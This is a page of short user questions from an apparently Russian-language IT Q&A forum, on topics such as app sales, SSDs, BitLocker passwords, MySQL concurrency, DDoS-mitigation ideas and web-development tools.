Если, например, я сделаю программу, которую купят 100 000+ человек по 1 доллару, и тем самым заработаю на этом кучу денег, обязательно ли будет регистрировать фирму или так прокатит? Или фирму надо регистрировать до того, как продавать софт на маркете?



Приложение запускается и тут же закрывается

Появилась проблема с приложением: оно сначала запускается, появляется в дереве процесов, а потом тут же исчезает, пропадает из списка процесов и всё. До этого работало, пока не обновили билд. Тот же билд на компьютере у сборщика проги (и его нетбуке) работает нормально.

Куда копать?



дизайнер для некомерческого проекта

разрабатываю небольшой некоммерческий саит, но дизайнерских скиллов — никаких, где взять дизайнера/верстальщика бесплатно, чтоб помог в качестве хобби…
может есть желающие помочь?

Дизайн   Компьютерные   сети   Веб-разработка    

365   2   13:55, 5th August, 2020


Какая платформа наиболее оптимальна для разработки ИИ?

Подскажите пожалуйста какую платформу использовать для разработки искусственного интелекта (наиболее оптимальный и рациональный вариант), спасибо.



Порекомендуйте SSD под систему

Хочется ускорить работу системы, поэтому прошу порекомендовать SSD под системный диск, ось Windows 7. Интересуют как советы о конкретных моделях, так и общая статистика о производителях, спасибо.

Твердотельные   накопители    

337   7   16:48, 26th August, 2020


Перенос сайта на другой сервер?

Есть два шаред хостинга. На одном из них размещен сайт. Но не один, а с кучей других сайтов висящих на поддоменах. Вопрос — как переместить этот сайт (коренной, то есть с www) на другой сервер причем так чтобы сайты на поддоменах продолжали работать на старом хостинге?

Веб-разработка    

312   6   16:24, 16th August, 2020


Как белорусу начать продавать платные приложения в Android Market?

Приветствую тебя, %username%

Сам думал арендовать абонентский ящик в Москве, поможет ли?

Или регистрировать на адрес друга в Москве лучше?

Интересно было бы услышать возможные способы решения проблемы.

Android   Мобильная   разработка   Google   Play    

345   1   23:59, 27th August, 2020


Как работает связь bugtracker'a и VCS?

Всем доброй ночи, вопрос у меня такой:

однажды я работал на проекте, где применялась связка Trac + Subversion. Собственно важны не именно эти софтины, а вообще принцип действия.

Выглядит это следующим образом: при каждом коммите я обязан указывать номер тикета в Траке, а потом при просмотре тикета могу увидеть список всех коммитов к нему.


И мне до сих пор очень любопытно как же это работает, ведь как я понимаю Subversion базы данных не использует, а Trac наоборот вытягивает всю информацию оттуда (к сожалению ни разу не устанавливал ни то, ни другое).


Заранее спасибо всем кто ответит,

Дмитрий



Насколько эффективно использование BitLocker для полного шифрования диска? Нужен ли сложный пароль?

Система


Ноутбук с установленной Windows 7 Ultimate и, соответственно, возможностью включить полное шифрование диска. При этом, как известно, создается (если по какой-либо причине не был создан при установке) новый раздел объемом примерно 200 Mb, на котором система хранит некоторый набор системных файлов, необходимых для запуска Windows — данный раздел не шифруется.

Ключ шифрования хранится в TPM-чипе. Если в ноутбуке отсутствует TPM-чип, используется метод загрузки со вставленным usb-flash, на котором хранится ключ шифрования.

Способ загрузки ключа шифрования с флэшки кажется даже безопаснее, т.к. без флэшки Windows откажется загружаться в принципе.

Вопрос: Необходимо ли ставить сложный пароль на вход в Windows?


Как я понимаю, все данные шифруются с использованием файла-ключа и пароля на вход в систему. Что будет, если загрузится с одного из многочисленных дисков для сброса пароля и сбросить пароль? Как я понимаю, данные будут безвозвратно утеряны, ну или как минимум недоступны с новым паролем.

Соответственно, при условии что пароль не настолько легкий, чтобы его можно было вручную подобрать в log on screen, то вроде бы можно не заботиться о его сложности и длине.

Однако, как я понимаю, т.к. Windows не расшифровывает зашифрованные данные до ввода пароля, то очевидно файл с хэшем пароля хранится на незашифрованном разделе. Соответственно его можно скопировать и дальше уже как обычно взламывать пароль подбором. В таком случае, к сложности пароля стоит относится как обычно — с должным вниманием.

Не смог найти документацию о том, как же технически работает BitLocker, поэтому спрашиваю, не знает ли кто, прав ли я в своих рассуждения и догадках.

Спасет ли относительно легкий, но поддающийся брут форсу пароль при использовании BitLocker для полного шифрования всех дисков, включая системный?

Пароли   Шифрование   Windows   BitLocker   Защита   от   взлома    

386   6   04:11, 13th August, 2020


Подкраска директорий в MC 4.7.0?

Кто знает, как вернуть обратно подкраску директорий в Midnight Commander 4.7.0, как это было раньше?

Сверху — так, как это было в 4.6.1, снизу — в 4.7.0
mc.JPG

Midnight   Commander   Работа   с   цветом    

360   3   16:46, 26th August, 2020


Панель управления выделенным сервером?

Собираемся взять дедик у FastVPS, там предлагают ISP Manager Lite.



Какие ещё посоветуете решения?



Главное — простота и приближённость по функционалу к аналогичным на шаред-хостингах (берем дедик в первый раз)



Т.е. просмотр информации о текущей загруженности,

добавление доменов (субдоменов),

редактирование NS записей у оных

и т.п.



Спасибо.

Веб-разработка    

291   12   11:37, 26th August, 2020


Подскажите маленькую по размеру игру под win использующую directx любой версии

Размером до 5 мб, желательно стратегия казуального типа, но подойдет любая.

Разработка   игр   DirectX    

374   5   01:11, 7th August, 2020


Движки зарубежных интернет-магазинов

Добрый вечер!
Скажите, какие наиболее популярные и мощные движки, которые используют на западе для крупных проектов?
Какие студии занимаются их созданием и сколько это стоит?



Посоветуйте java web framework

Выпал не надолго из java WORD
Нужен быстрый как в плане производительности так и разработки фреймворк.
Для разработки каталога и внутреннего поиска по документам…

Так же интересует рельсы, джанго и граалис(скорость разработки на них по быстрее будет), но тут встаёт вопрос производительности!!! как они по сравнению с java в общих чертах?

Java   Веб-разработка    

326   6   08:31, 11th August, 2020


Нужно ли высшее образование веб-программисту?

Нужно ли высшее образование веб-программисту? Подчеркиваю, именно веб-программисту.

Несомненно, гейм-девелоперу, разрабатывающему физический движок, без него будет сложно.
Но если брать веб-разработчика. Для чего ему весь курс высшей математики, физики и т.д. Это не говоря о начертательной геометрии, химии и других вообще не связанных с программированием предметов.

Если нужно знать тему по высшей математике, то не проще ли выучить только ее, а не весь курс с охапкой других предметов? Это как качать DVD диск с репозиториями из-за пары пакетов.

Про образование по программированию в ВУЗах РФ говорить, думаю, не стоит. Хотя нет, есть пару мест в России, где более-менее учат программированию, но большинство учится для галочки (читай для диплома). Да и программированию я считаю научить сложно, его нужно чувствовать, дышать им. Тем более что программисту без самообразования никуда, а если оно по каким-то причинам не подходит или его не хватает, гораздо полезнее будет сходить на узкоспециализированные курсы.

Останавливает только то, что в некоторых компаниях не берут на работу без ВО. Хотя правильно ли это: в конце концов, кого берут на работу математика или программиста? В общем реквестую статистику по ХабраВакансиям – каково процентное соотношение вакансий разработчиков с требованием ВО и без.
Из плюсов ВУЗа можно отметить дешевое жилье (общежитие), т.е. возможность переехать в другой город.

Не кажется ли вам, что 5 лет обучения можно провести с большей пользой? За это время можно было бы поработать, набраться опыта, да и вообще стать достаточно высококвалифицированным программистом.

Хотелось бы услышать весомые аргументы в пользу высшего образования.

IT-образование   Веб-разработка    

263   40   02:39, 13th August, 2020


Языки на сайте

Как лучше делать сайт…
Поддомены
ru.site.com, en.site.com, fr.site.com
или же
site.com/ru/
site.com/fr/
site.com/en/

Если второе, то как правильно делать ссылки внутри php

PHP   Рынок   доменных   имен   Веб-разработка    

408   10   13:13, 26th August, 2020


Подскажите сервис для скриншотов?

нужен такой сервис с помощью, которого можно было бы ввести адрес любой странички и на выходе получить скриншот всей страницы, есть такие?

Компьютерные   сети   Скриншоты    

405   7   15:29, 20th August, 2020


Вопрос архитектуры приложения, связка C++ (back-end) и Perl (web-front-end)

Возникла идея написать игру. Из-за своей специфики, а именно необходимости использовать её не только в качестве онлайн-игры, но и в качестве десктоп-игры, было решено основной движок писать на C++.

Веб-фронтэнд будет, скорее всего, написан на Perl. Вообще говоря, я так понимаю, к сути вопроса, какой язык веб-программирования будет использован, не относится.

Вопрос, собственно следующий: как организовать связку движка, написанного на C++ и веб-фронтенда, написанного на Perl?

Сразу скажу, что опыта в этом у меня практически нет и занялся я этим как раз, чтобы его набраться. Ну и just for fun, естественно. Поэтому мне в голову приходит пока системные вызовы, а в движке разбор уже того, что поступает в STDIN и т.п. Но подозреваю, что есть способ получше.

Или нужны какие-то уточнения? Буду благодарен любым советам.



Платный сервис индивидуальных дизайн-макетов для сайтов «пачкой»? Тендер?

Всем привет!


У нас есть партнерская программа, в рамках которой, мы даем нашим партнерам создавать собственные сайты через конструктор. Для этого мы постоянно делаем скины одного и того же сайта. В штате есть два дизайнера, но проблема в том, что они уже выдохлись идеями и все получается либо ужасно, либо похоже на предыдущие варианты. Нанимать кого-то еще накладно, да и закончится тем же самым.


Я знаю отличный сервис по дизайну блогов. Там идея такова: ты платишь от $499 до $1099 и получаешь от ~17 до ~40 вариантов дизайна от разных дизайнеров. При этом ты можешь определить, «уровень» дизайнеров, которым доступно твое задание. За каждый вариант дизайнеры получают копейку от твоего бюджета, потом ты обязан выбрать лучше 3 и они получают основной гонорар соответственно. Сервис предлагает систему рейтингов, когда ты каждому полученному дизайну ставишь оценку — от этого формируется «уровень» дизайнера. Чем выше «уровень» запрошенных тобой дизайнеров, тем меньше вариантов дизайна ты получаешь (т.к. обязательная копейка с бюджета у крутых дизайнеров выше). В общем, толковая система, чтобы получить приятные макеты по примерно $50. Самое главное абсолютно разных стилей и направлений.


Вот, собственно, вопрос — есть ли подобное просто для дизайнов сайтов? Или это я сейчас идею стартапа сформулировал?

Макеты   и   прототипы   Дизайн    

322   3   06:08, 23rd August, 2020


Клиенты для bugzilla?

Подскажите, есть ли какие-нибудь самостоятельные (а не те что входят в состав IDE) клиенты для bugzilla под Windows… Как-то нагуглить не получилось

Bugzilla   Системы   отслеживания   ошибок    

378   2   20:16, 25th August, 2020


Подскажите видеоредактор для монтажа домашнего видео

Сложность задачи в том что монтажом занимается моя мама, т.е. программы на уровне Adobe Premiere не подойдут, нужно что-то простое как виндовый сборник глюков MovieMaker.
Желательно что бы можно было резать видео, вставлять фотки, накладывать музыку, эффекты переходов, титры (надписи), в общем все что нужно для Великого Домашнего Хронологического Видео

Обработка   видео   Видео    

323   8   08:40, 4th August, 2020


Что делать если ты узнал что проект/стартап, который ты делаешь, уже реализован?

Ситуация такая — сделал для себя проектик, который решал одну мою проблему. Поразмыслив — я решил что такая проблема есть не только у меня и возможно кому-то это тоже пригодиться. Немного погуглил (как оказалось впоследствии — слабо) и не нашел аналогичного сервиса. В общем решил налепить простенький дизайн и открыть в мир…

Но вчера перед сном случайно (читая q&a) обнаружил что уже существует проект с аналогичным функционалом, причем видимо вполне успешно в плане количества пользователей. После выхода из печали решил пораскинуть мозгами — нужно ли продолжать дорабатывать свой сервис или забить? Собственно путей монетизации практически нет. Что делать — дорабатывать и придумывать какие-то изюминки или забыть этот проект и думать уже о следующем?

Веб-разработка    

242   6   04:01, 16th August, 2020


Книги по разработке 2D-игр на C++ и DirectX

Хотелось бы узнать, что есть стоящего из литературы по данной теме.

Книги   2D   Разработка   игр    

410   4   03:04, 19th August, 2020


Как добиться безотказной работы сайта?

Есть сайт, очень важный для клиента. Главная задача после разработки — безотказная работа, то есть — 100% uptime.
Какими способами можно добиться безотказной работы сайта? Максимальное время, которое сайт может быть недоступен — минут 10.

«Хороший хостинг» не предлагать, так как ни один хостер не даст 100% гарантии бесперебойной работы, а если и даст, то это будет далеко от истины.

Веб-разработка    

343   7   07:53, 23rd August, 2020


URL и домен.рф?

Можно ли навигацию в домене.рф сделать тоже русской, чтобы было примерно так:


-домен.рф

-домен.рф/новости/

-домен.рф/регистрация/

-домен.рф/итд/


?

Веб-разработка    

270   4   22:39, 20th August, 2020


Nikon D3100 vs Pentax K-x?

Помоги те определиться с покупкой.

На буржуйских форумах пишут что:


Pentax K-x:

— Супер мега высококачественная матрица

— cheap lens, то есть дешевая оптика (что-то в инет-магазинах я такого не заметил)

— стабилизатор в корпусе а не в объективе


Nikon D3100:

— FullHD видео при 24 кадрах, с автофокусом.

— Nikon будет куда проще продать

— Матрица больше чем у K-x


Бюджет до 24990 ре.

С радостью жду любые комментарии и предложения.

Фотоаппараты    

340   6   23:07, 24th August, 2020


Connect python gtk application and facebook?

Захотел я попробовать создать небольшое приложение на gtk с возможностью отправки сообщений на аккаунт в facebook. Возникла проблема с авторизацией.

Facebook хочет чтоб пользователю показывалсь страница на которой бы он разрешал доступ приложения к его профилю. После гуглению пришле к выводу, что нужно использовать webkit gtk. К сожалению в интернете документацию по нем практически отсутствует. Как не бился над этой проблемой так ничего и не получилось:(

Может кто-то то уже сталкивался с подобной проблемой и подскажет как мне авторизовать пользователя на фейсбуке из десктопного приложения.

Знаю что это реализовано в gwibber, но там все очень сложно. Хотелось бы простых примеров, чтоб понять как нужно делать.

Python   Facebook   GTK+   Мобильная   разработка    

428   2   20:44, 17th August, 2020


отладка UserJS (Greasemonkey)

подскажите пожалуйста, чем можно отлаживать greasemonkey-скрипты в firefox?
крайне желательно наличие breakpoints, watches

Greasemonkey   Отладка   Userscript    

327   2   04:13, 1st August, 2020


Какой службой эксресс почты воспользоваться для доставки в Европу?

Здравствуйте!

Надо переслать документы в Германию, Голландию и может быть другие европейские страны?

Из Петербурга. + еще надо будет послать документы в Москву.

Чем порекомендуете воспользоваться?

DHL, Fedex? А может быть Pony Express?

Спасибо!


PS Документы ИТ тематики (это чтобы ни у кого не вызывало сомнений релевантность данного вопроса ))))



Покупка SSD

Подумываю о подарке для себя на НГ. Хочу SSD на свой двухлетний Asus F80L. Вопросов три:

1. Какой SSD стоит взять?
Бюджет — 10-12 тысяч. Хочется максимально быстрое решение и чтоб объем был хотя бы 120 гигов.

2. Где его купить?
Ebay мне кажется не лучшим вариантом для новой электроники. Или я ошибаюсь — Ebay? Или какой инет-магазин?

3. Могут ли быть какие проблемы в Ubuntu 10.10 на этом SSD?

Ebay   Твердотельные   накопители    

380   11   03:25, 26th August, 2020


Система управления клиентами. Желательно PHP

Приветствую!

В компании я использую qdPM в качестве проджект менеджера. Отличная система, всё устраивает (ну, практически..)).

Однако сейчас возникла необходимость хранить где-либо информацию о клиентах/партнёрах.
Всвязи с чем ищется система управления клентами.
Требования к системе: должна быть веб-ориентированная (PHP приоритетнее), минималистический интерфейс (монстры не подойдут). В системе будет хранить контактные данные, реквезиты, историю взаимоотношений, возможно дополнительные пользовательские поля.
Если в системе будет планировщик, общий для всех членов команды — будет только плюс.

Быть может, кто-нибудь подскажет?

ERP   CRM   Организация   работы    

309   6   17:15, 11th August, 2020


SSD винтчестер

Если не брать во внимание цену, чем он еще лучше/хуже обычного?
Знакомые пугают ограниченным количеством записи/чтения, но как на самом деле? Сколько времени прослужит такой винтчестер на рабочем ноутбуке?

Твердотельные   накопители    

297   4   19:47, 10th August, 2020


Оцените метод противостояния DDoS

Вкратце: есть сеть из большого числа компьютеров (предполагается что обычных пользовательских) с белыми IP-адресами и свободным 80м портом, которые связаны в сеть с древовидной структурой. Из этого множества компьютеров выбираются некоторые «краевые», которые в данном случае являются листьями дерева, и их IP-адреса задаются в качестве A-записей домена атакуемого сайта, а реальный ip-адрес сайта знает только корневой компьютер. Общение идёт по цепочке клиент-лист-примежуточные_компьютеры-корень-сервер Компьютеры каким-нибудь образом могут детектировать некоторые виды атак и недопускать передачу таких запросов дальше к корню дерева, и, соответственно, к защищаемому серверу.

Какие недостатки могут быть у такой архитектуры? Есть ли у неё вообще перспективы?

Компьютерные   сети   Защита   от   DDoS    

363   3   17:51, 16th August, 2020


Бизнес-логика в конроллере или модели?

Возник такой спор с коллегами, где же правильно размещать логику приложения.



Что можете подсказать?

Веб-разработка    

419   9   10:04, 17th August, 2020


Редирект для скрипткидди?

Просматривая логи веб-сервера вижу что многим интересно где расположена админка сайта, PhpMyAdmin и т.д.


Вопрос. Чтобы веселого подсовывать этим товарищам? (сейчас выдается 404)

Веб-разработка    

412   11   13:38, 18th August, 2020


Утилита для бекапов под linux

Разыскивается утилита для выполнения бекапов сайтов на локальную машину под linux.
Требования:
  • Работа по ssh на опциоанльном порту
  • Наличие шедулера
  • Желательно наличие гуи

Сейчас работаю с одним серврером, в будущем желательно иметь возможность работы с несколькими.
Нигде не нашел хороших описаний программ, только их перечни без сравнений. Пробовать все подряд долго. В принципе подойдет и консольная утилита, если есть хорошее руководство к действию.



Имеет ли смысл конвертировать все изображения на сайте в PNG?

Представьте ситуацию


Необходимо повысить посещаемость сайта. Возникло такое предложение: конвертировать все изображения на ресурсе в формат PNG. Ресурс представляет собой пока еще маленькую социальную сеть с посещаемостью около 2500 посещений в сутки. В ней около 3500 тысяч профайлов и естественно основные изображения — их фотографии, практически все в формате JPG.

Вопрос


Имеет ли смысл переводить все изображения в формат PNG и в дальнейшем при аплоаде изображений тоже их конвертировать в PNG?



Регистрация домена чужой торговой марки

Вчера зарегистрировал домен в зоне RU. Хорошо запоминается, емкий, красивый. Одна беда — имеется торговая марка, которая продаётся по всей стране с аналогичным названием. Собственно, я продукцией под этой маркой успешно торгую в интернет-магазине.
С одной стороны — клёвый домен.
С другой стороны — владельцы торговой марки всё-таки мои поставщики.
С третьей (в чем, собственно, вопрос) — торговая марка была зарегистрирована больше 2 лет назад и по идее права на домен принадлежат обладателю. Я прав? Чем мне может грозить владение таким доменом?

Киберсквоттинг    

243   5   11:10, 16th August, 2020


Статистика по приложениям iphone

У кого-нибудь есть статистика, сколько в россии человек устанавливает приложения из маркета? Даже бесплатные.
Для этого надо привязать кредитку, что многих останавливает.

Нужно выбрать что перспективнее — мобильное веб-приложение (на основе jqtouch итп), либо приложение под appstore.

Так как приложение нишевое, всякие top 25 в продвижении не помогут.

Мобильная   разработка    

331   1   21:06, 1st October, 2020


НИОКР при разработке сайта

Доброго времени суток!

Руководство поставило задачу: расписать НИОКР в процессе разработки сайта.
Задача бредовая, согласен :)
Своими силами удалось «умно сформулировать» лишь что-то вроде:
1. Исследование рынка систем управления сайтом (CMS).
2. Анализ их ниш, себестоимости, простоты интеграции и будущего применения.
3. Исследование и анализ возможных проблем при интеграции конкретной CMS.
4. Написание программной части для: <бла-бла-бла>

Буду рад любым ответам на вопрос что же можно расписать в НИОКР для разработки сайта.



MySQL — Синхронизация нескольких потоков

Имеется задача: вставить N элементов в таблицу, но перед этим удостовериться, не добавлены ли уже такие элементы.

Т.е. сначала делаем что-то вроде:

SELECT COUNT(*) FROM xxx WHERE x IN (x1,x2,x3,x4,x5,x6…… x1000);

Если результат равен 0, то значит можно делать такой же массовый INSERT.

Но есть проблема — как сделать это секурно при многопоточности?

Т.е., допустим, как избежать ситуации, когда одновременно получаются 2 потока и порядок действий получается таким:

П1: SELECT COUNT(*) — получает «0»
П2: SELECT COUNT(*) — получает «0»
П1: делает INSERT
П2: т.к. получил «ноль» в предыдущем селекте, тоже делает INSERT дублирующих записей

Есть ли решение для такой задачи?

Идея выставлять какой-то глобальный флаг кажется очень кривой и глупой.

Хранимки не предлагайте, т.к. опять-таки — они не спасут от одновременности. Как вообще такие вещи делаются?

Вставлять предполагается порой большие массивы данных по несколько десятков тысяч, так что вероятно, что запросы будут выполняться не слишком быстро и есть вероятность словить баг с одновременной вставкой.

MySQL   Многопоточность    

362   6   06:37, 26th August, 2020


Практика схемотехники. Для начинающих?

Начну достаточно отдалённо — невозможно изучить язык программирования, не написав на нём ни одной программы. Я вот вообще все яп учу методом делания чего-то большого. Так чтобы окунуться сразу и с головой.


Сейчас начинаю учить (или переучивать) электронику и схемотехнику. Читаю «Искусство Схемотехники», что-то гоняю в эмуляторах, но нет реальной практики. Я и резистор то в живую увидел только на третьем курсе, вот так мне повезло с физикой и лабами по электронике в виде работы в воркбенче.


Собственно хватит сопливых прелюдий. Посоветуйте что почитать, посмотреть, с чего начать практику. Под практикой подразумеваю всё, даже как многим кажется элементарные азы — ну нигде не увидел как паять, какой лучше взять паяльник, на чём паять и т.д.

Электроника   Схемотехника   IT-образование    

1740   7   09:57, 28th August, 2020


-webkit-transform не изменяет фактические размеры DOM-элемента

При повороте элемента на 90° с помощью -webkit-transform заметил такую аномалию, что фактические его размеры не изменяются и контейнер с нефиксированным размером никак не «реагирует».
Такой-вот код:
<style>
.c {
float: left;
overflow: visible;
background: blue;
}
.c div {
display: block;
background: #red;
-webkit-transform: rotate(-90deg);
}
</style>
<div class="c">
<div>12345</div>
</div>


генерирует следющий результат:


Можно ли как-то решить эту проблемму без жесткого указания размеров трансформируемого элемента?

CSS   Safari   Google   Chrome   Webkit   Веб-разработка    

285   1   16:43, 25th August, 2020


Поиск по массиву цветов

Есть массив цветов (rgb). Элементов — около миллиона. В массиве ищется наиболее близкий цвет к заданному (критерий близости- это близость точки rgb к точке r1g1b1, т.е. корень из суммы квадратов разниц каждой из трех компонентов цвета). Задача такая — осуществить поиск максимально быстро. Перебирать все элементы массива и для каждого искать близость к заданному цвету — слишком накладно (задача стоит заполнить новый массив еще на несколько миллионов элементов, для каждого делать полный перебор — долго). Как можно осуществить этот поиск? Может какие алгоритмы существуют?

Алгоритмы   Работа   с   цветом    

338   6   16:51, 5th August, 2020


Посоветуйте flash видеоплеер

Посоветуйте бесплатный свободно распространяемый настраиваемый плеер для проигрывания видео на сайте без водяных знаков, лого и т.д.
Бесплатные версии flowplayer и jwplayer вставляют свой логотип, а нужно без каких-либо логотипов и без кнопок управления.
Заранее спасибо

Видео   Водяной   знак   Open   Source   Логотипы   Adobe   Flash    

337   3   12:38, 20th August, 2020


RAID-массив SSD и SATA

Назрел такой вопрос — возможно ли объединить в зеркальный RAID-массив винчестеры: SSD и SATA? Если возможно, то не будет ли SATA-винчестер тормозить работу с SSD?

RAID   Твердотельные   накопители   SATA    

289   6   15:41, 27th August, 2020


Инструмент для совместной работы филиалов и центра

Взываю к коллективному хабраразуму. Мы ищем систему мечты для централизованного взаимодействия основной компании и компаний-партнёров. Вариантов таких сервисов масса, все не изучишь. Думаю, кто-то с подобной задачей сталкивался.

Нужно иметь возможности
• Общение по принципу форума
• Обмен фото, видео, офисные файлы. Хранение в виде централизованого структурированного хранилища.
• Публикация новостей
• Есть свой сервер, на который можно эту систему поставить. В принципе, мы не против хранить такую информацию на сервере разработчика.
• По цене лучше бесплатно или недорого. От Basecamp'а отказываемся, потому что дорого и избыточно

Желательно, чтоб система была простая, без наворотов и избыточного функционала. Нам не нужны задания, отслеживание проектов и т.п. Нам нужна единая база знаний и возможность общения. Ах, и да! Желательно на русском, не все наши партнёры сильны в английском.



Как хранить статьи в веб-проекте?

Имеется веб-проект, необходимо добавить раздел статей. Где хранить тексты статей? В файлах? В базе? XML?


Буду благодарен за советы и ссылки.

Веб-разработка    

231   2   00:25, 15th August, 2020


Какой игровой движок выбрать для небольшой онлайн игры?

Посоветуйте, пожалуйста, игровой движок для небольшой онлайн игры с бесшовным миром и его редактором.

Разработка   игр    

350   5   07:05, 15th August, 2020


Какая из панелей лучше и информативнее на сайте?

Здравствуйте

появилась необходимость на сайте вверху организовать краткий вывод необходимой

среднестатистическим пользователям информации, предпочтительно в виде панели.

Реализовали 2 варианта и хотели бы узнать какой из них Вам кажется более удобным:

1. Свернутая изначально панель которая при клике показывает максимум информации примерно как livejournal(вариант 1)

2. Панель отображающая 3 новости одну за одной циклично и погоду с курсом валют (вариант 2)


Благодарим за Ваше ценное мнение и с радостью выслушаем Ваши мнения или советы.


Вариант 1:
h1.jpg


Вариант 2:
h2.jpg

Дизайн   Веб-разработка    

347   9   23:46, 14th August, 2020


Что эффективнее, в настройке сервера?

Дано:
Hardware:

3 сервера в одном датацентре

8 GB DDR3 RAM

2 x 750 GB SATA-II HDD (Software-RAID 1)

Intel® Core™ i7-920 Quad-Core (2 процессора, 8 ядер)

Software:

FreeBSD 8.1,

nginx 0.8.53,

php-fpm 5.3.3,

Mysql 5.1 (5.5),

Memcached,

apc,

postfix.

Sites:

Большая посещаемость, порядка 10 проектов всего, по три проекта на каждом сервере. Проекты на тяжелющем Битриксе (скорее всего будем переписывать весь движек и избавлятся от битрикса). На каждый сервер идет большая нагрузка.

Вопрос:

Как на ваш взгляд, будет ли конфигурация эффективнее, в которой один сервер выполнит роль сервера БД, а два остальных для компиляции php кода (либо один для компиляции второй для статики и кэширования).

Веб-разработка    

270   7   03:18, 16th August, 2020


Screenshots интерфейса аппарата QIWI

Cабж. Нужны скриншоты некоторых разделов аппарата, именно такого, какой стоит на улицах (москвы), а не ЛК. Если мне не изменяет память была где-то ссылка на флеш которая полностью соответствовала текущему интерфейсу аппарата, но к сожалению не смог найти. Может есть у кого, или что-нибудь другое посоветуете?

Интерфейс   пользователя   Qiwi   Скриншоты    

284   3   20:14, 27th August, 2020


Как работают удалённые команды?

Интересно, как работают удалённые команды? Какой доступ они имеют к создаваемому продукту?

Ведь обычно со стороны заказчика всё выглядит так — он вкладывает деньги в проект, быть может стартап, уверен что его идея уникальная и неповторимая, соответственно опасается чтобы её реализацию никто не украл.

В последнее время модно говорить об удалённых командах. Так вот если набирать команду из фрилансеров, а быть может даже постоянных работников, но опять таки удалённых, то где гарантия что кто-то не толкнёт наработки кому-то ещё? Или членов команды допускают только к отдельным кускам проекта, с которым они будут работать? Тогда не ясно как можно писать код в отдельности от системы в целом.

Кто-то имел опыт работы в такой команде? Интересно как работают люди в таких условиях и как вообще поставлена работа.


п.с. навеяно по ходу чтения Rework, где такой метод работы превозносится, а также успехом Максима Спиридонова, большая часть проектов которого построена именно по такой схеме.

Стартапы   Удаленная   работа    

292   5   16:03, 18th August, 2020


Технология карт и схем (поиск аналога html map&area)?

Подскажите, на основе чего удобнее всего делать карты и схемы, по аналогии с html map&area.

Допустим с реакцией на наведение и другими плюшками. flash не приемлем.

Веб-разработка    

371   4   03:28, 13th August, 2020


Автоматически сделать скриншоты всех страниц сайта — чем?

Задача: сделать полные скриншоты всех страниц сайта. Страниц несколько сотен, скриншоты нужны полные — т.е. страницы на несколько экранов и скриншот должен охватывать всю страницы целиком, а не только один видимый экран.

Как и чем можно автоматизировать данный процесс?


Единичные скриншоты я нормально делаю плагином к браузеру, но обрабатывать вручную несколько сотен страниц слишком безрадостная перспектива. Компьютер должен облегчать жизнь, а не порабощать человека.


В идеале это должна быть программа или скрипт, которому можно скормить URL сайта и далее он сам будет ходить по внутренним ссылкам и делать скриншоты каждой страницы, аккуратно именуя файлы и складывая их по папочкам в соответствии со структурой сайта.


В дальнейшем скриншоты предполагается использовать в презентации.

Автоматизация   Скриншоты    

291   4   16:05, 17th August, 2020


Помогите найти запись на хабре, посвящённую IM интерфейсу

Некоторое время назад (может и больше) на хабре была опубликована запись, в которой описывался интерфейс IM клиента. Прототип так сказать…

Краткое описание:
  1. Белый цвет интерфейса
  2. 2 режима работы (полный и минималистичный)
  3. Сам интефейс «работал» в однооконном режиме (список контактов в одном окне с чатом)


Может у кого в закладках сохранилась ссылка или копия в других местах.

Сегодня перерыл половину хабра по тегам, которые по-моему мнению должны соответствовать данной записи, но безрезультата… :(

Макеты   и   прототипы   Интерфейс   пользователя    

367   5   03:32, 25th August, 2020


Как лучше хранить настройки пользователей в базе данных?

В web-проекте планируется достаточно много настроек для пользователей. Так же в будущем их придется добавлять/убирать.
Рассматривается несколько вариантов хранения значений этих настроек:

1. Создать две таблицы (при условии, что таблица с user_id уже есть):
1) option, option_id;
2) user_id, option_id, value.
2. Хранить все в одной дополнительной таблице: user_id, all_options_format(xml|json). В данном случае все настройки будут в одну строку формата xml или json.
3. Опять же дополнительная таблица но уже вида: key(user_id, option), value.

Какой из этих вариантов на ваш взгляд предпочтительнее?

Проектирование   баз   данных   Веб-разработка    

394   5   15:53, 16th August, 2020


Квадратные превью картинок

Подскажите пожалуйста программу, которая автоматически из папки с изображениями будет создавать квадратные превью картинок заданного размера. Желательно с выравниванием по верхнему краю, а не по центру.

Изображения   Обработка   изображений    

402   5   12:44, 11th August, 2020


Bada — ваше мнение?

Может кто-то юзал телефоны с данной ОС.

Интересны вашы отзывы. Интересно какие девайсы, сколько держат по времени.

Хотел купить телефон с OS Android, но говорят у них быстро проседает аккумулятор.

Вобщем хочется услышать все ваши мнения, и объективные и субъективные.

Да кто ни буть читал текст с Супер-АМОЛЕД дисплеев мобилок, как глаза не очень устают по сравнению с хорошим монитором?

Мобильная   разработка    

256   3   14:09, 6th August, 2020


Отладка POST запросов, Mac

Каким инструментом под Mac лучше отлаживать скрипты, к которым передаются POST запросы (ибо GET и в браузере можно)?

Сейчас пишу маленькие скриптики на jQuery типа
$.ajax({
     type: "POST",
     url: "/add_something.php",
     dataType: 'json',
     data: {'id' : '1', 'foo' : 'bar'},
     success: function(data) {
          console.log(data);
     }
    	});
</code>
и запускаю в FireBug.

macOS   Отладка   Веб-разработка    

288   8   12:19, 20th August, 2020


Ищу хорошие книги по веб-разработке!

Здравствуйте! Очень интересует тема веб-разработки, и хочу найти книги по этой теме. Прямо с самого начала — HTML и CSS и до создания могучих веб-приложений.
Заранее благодарен за помощь!
P.S. Если есть такая возможность — ссылайтесь на электронные книги, хотя и интересные бумажные тоже придется купить при отсутствии альтернативы.

Книги   Веб-разработка    

395   7   16:15, 3rd August, 2020


Система комментирования с помощью Facebook API

Возможно ли построить систему комментирования для standalone-блога (на самописной CMS), используя только Facebook API? Я почитал developers.facebook.com и не понял, можно ли вытащить счетчик количества комментов на главную страницу блога, можно ли реализовать у себя древовидную структуру комментариев?

Каковы ограничения Facebook API в этом плане? Также интересуют рабочие примеры успешной facebook-интеграции.



Русские программы для Android

Добрый день.

Подскажите пожалуйста компании из России и стран СНГ, занимающиеся разработкой приложений под Android, или известные вам русские программы для Android?
(сайты компаний или программ приветствуются)

Спасибо.



Программа для каталогизации документов

Собираюсь посканировать все бумажки и документы(платежи, договоры и пр.) для большего удобства работы.
Подскажите, пожалуйста, программу или идею как хранить сканированные копии, чтоб легко можно было искать по тегам, категориям или описанию, и легко можно было найти физическую копию каждого документа. SAAS и прочие современные технологии приветствуются.



Инструмент для создания макета интерфейса приложения

Подскажите, пожалуйста, инструмент для создания макета интерфейса десктопного приложения. Мне представляется приложение, где можно перетянуть виджет из уже готового набора виджетов на создаваемый интерфейс, а потом экспортировать результат как изображение. Желательно бесплатное решение.

Макеты   и   прототипы   Интерфейс   пользователя    

347   7   18:57, 23rd August, 2020


